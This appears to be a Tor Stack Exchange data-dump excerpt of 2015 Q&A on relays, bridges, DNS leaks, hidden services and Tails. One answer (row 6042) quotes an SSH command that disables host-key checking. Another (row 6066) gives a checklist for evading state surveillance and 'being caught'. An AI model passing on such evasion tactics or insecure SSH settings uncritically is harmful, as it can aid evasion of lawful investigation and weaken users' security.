  <row Id="6033" PostTypeId="1" AcceptedAnswerId="6034" CreationDate="2015-01-18T06:37:04.117" Score="2" ViewCount="424" Body="&lt;p&gt;If each time Tor relay is started with a different key pair, would it be a problem for the Tor network to recognize it?&lt;/p&gt;&#xA;" OwnerUserId="6504" LastEditorUserId="88" LastEditDate="2015-01-18T19:24:40.743" LastActivityDate="2015-01-18T19:24:40.743" Title="Is it a problem to frequently change a Tor relay's fingerprint" Tags="|network-health|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6034" PostTypeId="2" ParentId="6033" CreationDate="2015-01-18T10:23:01.787" Score="2" Body="&lt;p&gt;The relay would be considered 'new' each time. It would never gain the 'stable' flag or gain much consensus weight.&lt;br&gt;&#xA;This would neither hurt nor help the network.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-18T10:23:01.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6035" PostTypeId="1" AcceptedAnswerId="6073" CreationDate="2015-01-18T19:25:57.180" Score="4" ViewCount="262" Body="&lt;p&gt;In my browser (&lt;a href=&quot;https://wiki.debian.org/Iceweasel&quot; rel=&quot;nofollow&quot;&gt;Iceweasel&lt;/a&gt;), which is running with Tor via &lt;a href=&quot;http://proxychains.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;proxychains&lt;/a&gt;, I changed my IP address a good few times, by restarting Tor. Each time, I did the standard test at &lt;a href=&quot;https://www.dnsleaktest.com/&quot; rel=&quot;nofollow&quot;&gt;dnsleaktest.com&lt;/a&gt; and, the result was the exact same DNS server from level 3 communications, over and over. Is this normal? I would have thought that perhaps the DNS server would change with each new 'identity'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little extra info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I did this on a Debian Linux.&lt;/li&gt;&#xA;&lt;li&gt;Iceweasel is, I believe, very very similar to Firefox, being a fork of Firefox, and is basically the same thing where this issue is concerned. &lt;/li&gt;&#xA;&lt;li&gt;I am using the default setting of proxychains, which is to just use Tor.&lt;/li&gt;&#xA;&lt;li&gt;I restarted Tor using &lt;code&gt;service tor restart&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1706" LastEditorUserId="923" LastEditDate="2015-01-21T17:56:38.330" LastActivityDate="2015-01-25T18:27:38.977" Title="Same DNS server for many different Tor 'idenitities'" Tags="|linux|dns|server|ip-address|identity-change|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6037" PostTypeId="1" CreationDate="2015-01-19T08:00:43.140" Score="4" ViewCount="1025" Body="&lt;p&gt;I am just curious to know about the marketing methods being employed by Tor hidden services .These .onion domain sites cannot be indexed by normal search engines like google etc nor they can be used by browsers of the clearnet like chrome,IE etc. Methods like search engine optimization and other marketing techniques cannot be used either as they aren't part of the clearnet. This dark web section of the internet is beyond reach of almost anyone. Despite all the things I mentioned above,how these hidden services manage to get thousands of members or subscribers? What are the marketing methods these sites employ?&lt;/p&gt;&#xA;" OwnerUserId="6567" LastEditorUserId="923" LastEditDate="2015-01-19T18:07:43.283" LastActivityDate="2018-02-12T11:10:30.437" Title="Marketing methods employed by Tor hidden services?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6038" PostTypeId="1" CreationDate="2015-01-19T08:09:10.970" Score="3" ViewCount="58" Body="&lt;p&gt;I have just discovered that DNS cannot be used by Tor hidden services, is that true?&#xA;Also is it possible to use DNS services of multiple servers to prevent server down time for Tor hidden service? I mean if one server goes down then the other secondary, or tertiary, servers can pick up the traffic flow of a Tor hidden service or not?&lt;/p&gt;&#xA;" OwnerUserId="6567" LastEditorUserId="923" LastEditDate="2015-01-21T04:22:01.203" LastActivityDate="2015-01-21T04:22:01.203" Title="DNS for Tor hidden services" Tags="|onion-services|help|dns|" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-22T14:49:56.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="6039" PostTypeId="2" ParentId="6037" CreationDate="2015-01-19T11:48:56.193" Score="3" Body="&lt;p&gt;Well there are several ways to advertise an hidden service. Google doesn't index hidden services at the moment, but &lt;a href=&quot;https://ahmia.fi/search/&quot; rel=&quot;nofollow&quot;&gt;ahmia.fi&lt;/a&gt; does it. So your hidden service might be found this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is word-of-mouth propaganda. Just offer a service that many people want and news about the service will spread via mails, messages etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For non-Tor users there are &lt;a href=&quot;https://tor.stackexchange.com/q/3898/88&quot;&gt;Tor2web&lt;/a&gt; gateways. So you can also have a &quot;normal&quot; web address to attract those users.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-19T11:48:56.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6040" PostTypeId="2" ParentId="6006" CreationDate="2015-01-19T11:59:05.623" Score="1" Body="&lt;p&gt;To setup full logging from command line add the following option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--Log &quot;notice file tor1.notice.log&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This says Tor should log on &lt;code&gt;notice&lt;/code&gt; level to the file &lt;code&gt;tor1.notice.log&lt;/code&gt; in the local directory. You can also use other log levels and file names as well as &lt;code&gt;stdout&lt;/code&gt; for logging to your console.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-19T11:59:05.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6042" PostTypeId="1" CreationDate="2015-01-19T15:26:49.977" Score="5" ViewCount="1285" Body="&lt;p&gt;I noticed that when using iptables_torify to force connections through TOR that .onion addresses are mapped to local virtual IPs in the 10.66.x.x range.  This is indicated in the torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 10.66.0.0/255.255.0.0&#xA;AutomapHostsOnResolve 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, TOR is constantly assigning different IPs to the same hidden service which is causing a few problems.  For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whenever I use my local ssh client to connect to a hidden service I&#xA;  get some kind of message like:&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;The authenticity of host 'blahblahblahblah.onion (10.66.51.17)' can't&#xA;    be established.  ECDSA key fingerprint is 0a:1b:2c:..... Are you sure&#xA;    you want to continue connecting (yes/no)?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;Now if I click yes all is good until next time I reboot the computer I&#xA;  get the same message again with a different address (eg:&#xA;  10.66.172.189).  Sometimes I get an address that was already used for a different hidden service and I have to go to ~/.ssh/know_keys to&#xA;  delete the line in question before I can connect.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I really need to be able to just tell tor to permanently map address&#xA;  blahblahblah.onion to let's say 10.66.10.10. That way I could just ssh&#xA;  10.66.10.10 and have the ssh fingerprint for 10.66.10.10 listed once and for all in my ~/.ssh/knownhosts file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thank you Linostar for suggesting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However SSH is only one of my problems that I showed for illustration purposes.  And actually I would like to use the .ssh/known_keys file to verify the keys of the servers I'm connecting to rather than just blindly connecting to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to use other programs that may only give the option of specifying an IP address for outgoing connections.  For example, if I want to tell FireFox to connect to a proxy server (the proxy server has a .onion address).  I'm sure there's a work around for that too but just specifying the ip address would be a lot simpler for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I don't want to rely on iptables to send DNS requests to TOR when it would be a lot simpler and more secure to just specify the ip address of the hidden service.  On some servers I'm unable to configure iptables anyway.  And I don't want to take the risk of a DNS leak in case I made an error configuring iptables or if the configuration was changed without my knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that to say that mapping an .onion address to a specific IP would be a very important benefit that would save a lot of trouble for nothing.  Hopefully somebody has a solution!&lt;/p&gt;&#xA;" OwnerUserId="6568" LastEditorUserId="6568" LastEditDate="2015-01-29T22:18:03.613" LastActivityDate="2015-01-29T22:18:03.613" Title="How to map specific .onion addresses to static local virtual IP address?" Tags="|debian|ssh|ip-address|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6043" PostTypeId="1" CreationDate="2015-01-20T00:50:06.223" Score="2" ViewCount="558" Body="&lt;p&gt;Or put another way, what does Tor traffic look like when monitored over a home router? Would info like URL/DNS lookups be visible? What would the URLs and packet headers/contents look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if there's a way that I could see this for myself, that would be all the better.&lt;/p&gt;&#xA;" OwnerUserId="6572" LastActivityDate="2015-01-27T08:07:26.380" Title="What info can be gleaned from Tor traffic over a local network?" Tags="|tor-browser-bundle|anonymity|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6044" PostTypeId="1" CreationDate="2015-01-20T08:58:49.197" Score="3" ViewCount="1285" Body="&lt;p&gt;I want to run a Tor server as an entry point of Tor network, so that the torstatus web page (torstatus.blutmagie.de) illustrate my server as a guard server. How do I accomplish this task?&lt;/p&gt;&#xA;" OwnerUserId="6574" LastEditorUserId="923" LastEditDate="2015-01-20T11:33:32.000" LastActivityDate="2015-02-27T17:09:03.713" Title="How does one pick a guard position (entry node) for one's Tor relay?" Tags="|guard-node|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6045" PostTypeId="1" AcceptedAnswerId="6050" CreationDate="2015-01-20T09:55:59.213" Score="1" ViewCount="996" Body="&lt;p&gt;Usually when I try to reach sites from Tails, it often get CloudFlare's captcha, and after solving it the sites work for about 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now it behaves like if the captcha is entered incorrectly each time. I've tried more than 20 times, on multiple sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it something broken in CloudFlare, in browser or there is some subtile policy change that blocks all Tor users pretending they never can solve the captcha?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The issue seems to be re-opened. Where can I report CloudFlare problems to CloudFlare &lt;em&gt;from within&lt;/em&gt; TAILS?&lt;/p&gt;&#xA;" OwnerUserId="6575" LastEditorUserId="6803" LastEditDate="2015-03-25T21:08:40.037" LastActivityDate="2015-03-25T21:08:40.037" Title="CloudFlare won't let in even though I solve the captcha correctly" Tags="|tails|blocked-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6046" PostTypeId="2" ParentId="6044" CreationDate="2015-01-20T10:22:16.630" Score="1" Body="&lt;p&gt;Tor does not let you decide whether to be a Guard or not by yourself. Since there are many security concerns with the Guard node, Tor has very strict conditions to flag a node as Guard node.&#xA;For your ready reference, you can look at session &quot;5. Guard nodes&quot; of this Specification &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-01-20T10:22:16.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6047" PostTypeId="2" ParentId="6044" CreationDate="2015-01-20T10:42:58.237" Score="2" Body="&lt;p&gt;You can't decide on your own to become a guard node. The Tor software makes the decision. All the details are laid out in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor's directory specification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after you set up your Tor relay, it takes some time until it attracts traffic. Beginning on day 8 of your relay's lifetime it becomes eligible for the Guard flag. However getting the flag depends on the bandwidth, the uptime and the time it is known to the Tor network. So from my calculations on if your relay has more than 1,5MB/s bandwidth it can get the Guard flag. However this number might change and depends on the bandwidth of other guard nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the Guard flag for your relay, run it at least eight days, give it reasonable bandwidth and don't shut it down for longer periods of time. More details can be found at the blog post &quot;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;life cyle of a new relay&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-20T10:42:58.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6049" PostTypeId="2" ParentId="3924" CreationDate="2015-01-20T13:02:05.807" Score="6" Body="&lt;p&gt;First you need to install &lt;code&gt;obfsproxy&lt;/code&gt; package. Then configure &lt;code&gt;torrc&lt;/code&gt; file like @user263485 said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; UseBridges 1&#xA; # This works for Ubuntu Linux, adjust the path according to your platform&#xA; ClientTransportPlugin obfs3, scramblesuit exec /usr/bin/obfsproxy managed&#xA; Bridge obfs3 &amp;lt;ip:port&amp;gt; &amp;lt;key&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To obtain obfs3 bridges visit &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt; (step 2) and instead of clicking the inviting &lt;em&gt;just give me bridges&lt;/em&gt; button scroll down and specifically ask for &lt;strong&gt;obfs3&lt;/strong&gt; type bridges. Restart tor and it should work, it just did for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br&gt;&#xA;Note that obfsproxy support also scamblesuit bridges, bridge syntax is the same&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge scramblesuit &amp;lt;ip:port&amp;gt; &amp;lt;key&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6573" LastEditorUserId="88" LastEditDate="2018-01-02T12:35:19.980" LastActivityDate="2018-01-02T12:35:19.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6050" PostTypeId="2" ParentId="6045" CreationDate="2015-01-20T13:38:27.190" Score="1" Body="&lt;p&gt;As pointed out Cloudflare is doing some changes on their infrastructure, &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2015-January/036531.html&quot; rel=&quot;nofollow&quot;&gt;ongoing discussion&lt;/a&gt; on the tor-talk mailing list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Situation should be &lt;a href=&quot;https://twitter.com/octal/status/557415774185590784&quot; rel=&quot;nofollow&quot;&gt;fixed soon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2015-01-20T13:38:27.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6051" PostTypeId="2" ParentId="1801" CreationDate="2015-01-20T18:37:09.370" Score="2" Body="&lt;p&gt;Took a while, but finally made it work:&#xA;Open the menu of the onion icon and click &quot;Preferences...&quot;. In the window that opens select the &quot;Security settings&quot; tab. Uncheck &quot;Don't record browsing history ... mode)&quot; and &quot;Restrict third party cookies ... data&quot;. In the content tab of the options window, uncheck &quot;Block pop-up windows&quot;. Now you're all set to login to google+ and leave a comment. I recommend starting a new Tor session (identitiy) for the purpose of commenting videos, after which you re-check all the unchecked boxes, log out of Google+ and start a new session.&lt;/p&gt;&#xA;" OwnerUserId="6580" LastActivityDate="2015-01-20T18:37:09.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6052" PostTypeId="2" ParentId="3769" CreationDate="2015-01-21T05:07:35.990" Score="1" Body="&lt;p&gt;If you can avoid javascript bookmarklets, please do by all means. The less information you reveal, the better off you are. If you ask a security expert, she will tell you if you are concerned about your anonymity, do not trust any website what so ever, except, if you can personally verify that at the minimum, the site is not compromised. Many sites are compromised even without their knowledge or consent, and of course some sites are honeypots with their consent. Also please read the answer to this question for additional insight to the bookmarklets issue. &lt;a href=&quot;https://tor.stackexchange.com/questions/1375/can-creating-bookmark-in-tbb-add-any-security-risk-for-user/1384#1384&quot;&gt;Can creating bookmark in TBB add any security risk for user?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-21T05:07:35.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6053" PostTypeId="1" AcceptedAnswerId="6057" CreationDate="2015-01-21T18:31:41.797" Score="2" ViewCount="1530" Body="&lt;p&gt;Looking at Tor suggestions of how to watch youtube video, one has observed that the suggestion to use HTML5 to watch youtube video is quietly disappeared. Is some type of new leak, problem, and/or anonymity/security compromise with respect to HTML5 have been discovered?&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-06-25T17:40:49.750" Title="Why did Tor quietly dropped suggestion to use HTML5 to watch video in youtube? Is some new leak or problem discovered?" Tags="|information-leaks|html5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6055" PostTypeId="1" CreationDate="2015-01-22T11:54:24.723" Score="2" ViewCount="5893" Body="&lt;p&gt;Where to find a &lt;code&gt;torrc&lt;/code&gt; file for configuring a hidden service within tails? I mean I cannot see the &lt;code&gt;torrc&lt;/code&gt; file with the following lines like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;# this section is for hidden services#&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6567" LastEditorUserId="88" LastEditDate="2015-01-23T14:00:57.610" LastActivityDate="2015-12-17T23:20:19.570" Title="How to edit the torrc to run a hidden service in tails?" Tags="|configuration|tails|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6056" PostTypeId="1" AcceptedAnswerId="6069" CreationDate="2015-01-23T02:43:09.657" Score="1" ViewCount="245" Body="&lt;p&gt;I have a trip planned to go to China in a few months, but &lt;a href=&quot;https://en.wikipedia.org/wiki/Websites_blocked_in_Mainland_China&quot; rel=&quot;nofollow&quot;&gt;many websites are blocked over there because of the country's policy of Internet censorship&lt;/a&gt;. Honestly, all I want to get to is Facebook and Gmail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I was searching around for solutions, one of the websites suggested to use Tor, so I decided to check it out. I was hoping someone could just list out the steps I need to take so that I can access my usual websites while in China.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I also saw some posts about how I should simply not bring my laptop to China at all due to all the hassle when they have to scan my laptop at customs. If I shouldn't, is there a way to access these sites from my iPhone 5s on iOS7? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if this helps in anyway, I have a Windows OS in the laptop.&lt;/p&gt;&#xA;" OwnerUserId="6594" LastEditorUserId="923" LastEditDate="2015-01-26T11:01:52.690" LastActivityDate="2015-01-26T11:01:52.690" Title="How to get around China's policy of Internet censorship using Tor?" Tags="|configuration|windows|censorship|blocked-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6057" PostTypeId="2" ParentId="6053" CreationDate="2015-01-23T09:03:16.923" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/download/download.html&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt; had a warning, that you should visit &lt;a href=&quot;https://www.youtube.com/html5&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/html5&lt;/a&gt; and enable HTML5 support. So you do not need flash to watch YouTube videos. However right now YouTube works without going first to this site. So this warning as removed with &lt;a href=&quot;https://gitweb.torproject.org/project/web/webwml.git/commit/?id=cb22dc9595d7c70c60d6cddf37c8b217a631fefc&quot; rel=&quot;nofollow&quot;&gt;commit &lt;code&gt;cb22dc9595d7c70c60d6cddf37c8b217a631fefc&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can directly go to &lt;a href=&quot;https://youtube.com&quot; rel=&quot;nofollow&quot;&gt;https://youtube.com&lt;/a&gt; and watch a video without Flash.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-23T09:03:16.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6058" PostTypeId="2" ParentId="6055" CreationDate="2015-01-23T11:59:03.893" Score="2" Body="&lt;p&gt;From a ticket:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;running a hiddenservice from Tails is not (yetç in our design goals.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://labs.riseup.net/code/issues/6601&quot; rel=&quot;nofollow&quot;&gt;https://labs.riseup.net/code/issues/6601&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2015-01-23T11:59:03.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6059" PostTypeId="1" CreationDate="2015-01-24T06:00:08.433" Score="1" ViewCount="1060" Body="&lt;p&gt;Is using ubuntu amnesic as Tails and therefore prevent fingerprinting? Can I use ubuntu as an alternative to Tails?&#xA;I think ubuntu too only use the RAM and destroy all memory after shutting down, and hence fulfill the purpose of Tails.&lt;/p&gt;&#xA;" OwnerUserId="6567" LastEditorUserId="923" LastEditDate="2015-01-24T15:10:00.563" LastActivityDate="2015-01-24T16:30:37.503" Title="Is Ubuntu amnesic like Tails?" Tags="|tails|help|ubuntu|fingerprinting|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6060" PostTypeId="1" CreationDate="2015-01-24T07:25:53.800" Score="3" ViewCount="789" Body="&lt;p&gt;Suppose If I am going to use the offshore server for hosting my hidden service .onion domain, then my private keys will be on the remote server. Well, that means the host can impersonate my site or hijack it later. How can I protect the ownership of a hidden service?&lt;/p&gt;&#xA;" OwnerUserId="6567" LastEditorUserId="923" LastEditDate="2015-01-25T09:42:50.517" LastActivityDate="2015-01-25T09:42:50.517" Title="Protecting Hidden services .onion private key from your host" Tags="|onion-services|help|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6061" PostTypeId="1" CreationDate="2015-01-24T10:52:50.067" Score="1" ViewCount="5098" Body="&lt;p&gt;We need to use java scripts on some sites because we need them in order to get the task done. Suppose some site get my real IP address by using some java script attack, then how dangerous it can be? My IP address is a static not a variable one. It is different everytime and shows location several miles away each time than the last time. Maximum it shows a city and the name of my ISP. If my adversary is someone like the NSA or FBI can they use this info to get me?&#xA;Edit: I am using Tails and it protects against the fingerprinting. So even they install something on my system for attacking me in the long term, it will get deleted everytime I reboot or shut down my system, right?&lt;/p&gt;&#xA;" OwnerUserId="6567" LastEditorUserId="923" LastEditDate="2015-01-25T19:49:27.360" LastActivityDate="2015-01-30T19:19:47.790" Title="Can an IP address get you caught?" Tags="|tails|help|fingerprinting|javascript|global-adversary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6062" PostTypeId="2" ParentId="2013" CreationDate="2015-01-24T11:38:50.263" Score="9" Body="&lt;p&gt;Yes they can! For example, try &lt;a href=&quot;http://whatever.bitmailendavkbec.onion&quot; rel=&quot;noreferrer&quot;&gt;http://whatever.bitmailendavkbec.onion&lt;/a&gt; which is the Bitmessage onion service with an arbitrary subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that the subdomain is not transmitted between the Tor client and the onion server. It's the browser that sends the full host (including the subdomain) to the webserver in the request's Host header, so protocols othe than HTTP(S) won't work.&lt;/p&gt;&#xA;" OwnerUserId="6598" LastEditorUserId="923" LastEditDate="2015-01-24T13:22:29.020" LastActivityDate="2015-01-24T13:22:29.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6063" PostTypeId="1" CreationDate="2015-01-24T13:38:47.307" Score="1" ViewCount="14248" Body="&lt;p&gt;Can a 504 error be fixed? Please help me. no matter what deepweb site I search on orweb or orfox it results with the 504 error. Don't know what to do. I have a galaxy s3 mini and don't want to root it.&lt;/p&gt;&#xA;" OwnerUserId="6599" LastEditorUserId="88" LastEditDate="2015-01-27T08:37:56.177" LastActivityDate="2015-09-20T23:32:26.680" Title="How to fix error 504 on Android?" Tags="|help|orbot|error|orweb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6064" PostTypeId="2" ParentId="6061" CreationDate="2015-01-24T15:22:01.530" Score="1" Body="&lt;p&gt;The NSA or the FBI (or the equivalent agency in your country), if they suspect illegal activity, can contact your ISP with a subpoena. Your ISP is legally bound to give requesting agencies the name and address of the person paying the bill. It is an extreme case, but it can be done.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2015-01-24T15:22:01.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6065" PostTypeId="2" ParentId="6059" CreationDate="2015-01-24T15:54:37.260" Score="1" Body="&lt;p&gt;Ubuntu is not a privacy-focused distro, quite the opposite.&#xA;Ubuntu does not wipe the memory.&#xA;Ubuntu does not prevent fingerprinting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails has many great security optimisations, including firewalling, pre-configured stream isolation, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do all this on Ubuntu, too, but Tails is pre-configured and &quot;just works.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go with Tails.&lt;/p&gt;&#xA;" OwnerUserId="6600" LastActivityDate="2015-01-24T15:54:37.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6066" PostTypeId="2" ParentId="6061" CreationDate="2015-01-24T15:56:41.330" Score="0" Body="&lt;p&gt;You need to take some additional measures to keep a global adversary at bay.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect to internet at a public place which does not employ a security camera. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use internet at that place only for one day and never use that place for internet connection again. This public places you use for internet connection need to be at least 100 miles away from your place of residence, and work or study.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Tails on a brand new notebook that you use for nothing else except for this purpose and get ride of the notebook's hard drive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to isolate each activity from any other activity all the times. The best practice is to reboot the Tails after each separate activity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not use internet for more than few hours at each location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use encryption all the time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pay attention to your surrounding at all times. If it does not feel right, move from that place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;leave your cellphone or any comminiucation device you carry at home.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally have a back up plan in case you are caught.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And yes, The IP address is more than enough information to catch you if you are wanted.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-30T19:19:47.790" LastActivityDate="2015-01-30T19:19:47.790" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6067" PostTypeId="2" ParentId="6059" CreationDate="2015-01-24T16:30:37.503" Score="1" Body="&lt;p&gt;If you are an expert at internet security and anonymity, you may configure Ubuntu to work for you. But if you are not a security and anonymity expert, use Tails until you get enough expertise and experience in these fields. Tails is the result of many security and anonymity experts putting their heads together for many years, and result of many revisions and enhancements over the years. It is highly unlikely that any individual be able to much that level of sophistication in any reasonable amount of time. Also, remember that both Tails and Tor are work in progress for a foreseeable future. By the way Dave's characterization of Ubuntu is on the mark. Finally having said all of the above, keep in mind that nothing is perfect and if one poke enough at anything, one will finally find a counter measure to neutralize it. &lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-24T16:30:37.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6068" PostTypeId="2" ParentId="6060" CreationDate="2015-01-25T08:25:29.693" Score="1" Body="&lt;p&gt;Either host with a company you truly trust it will not steal your private keys, or if you are too paranoid to trust anyone, host your hidden service on your own server. For the latter option, you need a computer connected to the internet, with Tor installed and web server such as Apache (or whatever you need) properly configured with the hidden services .onion domain.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="923" LastEditDate="2015-01-25T09:40:40.907" LastActivityDate="2015-01-25T09:40:40.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
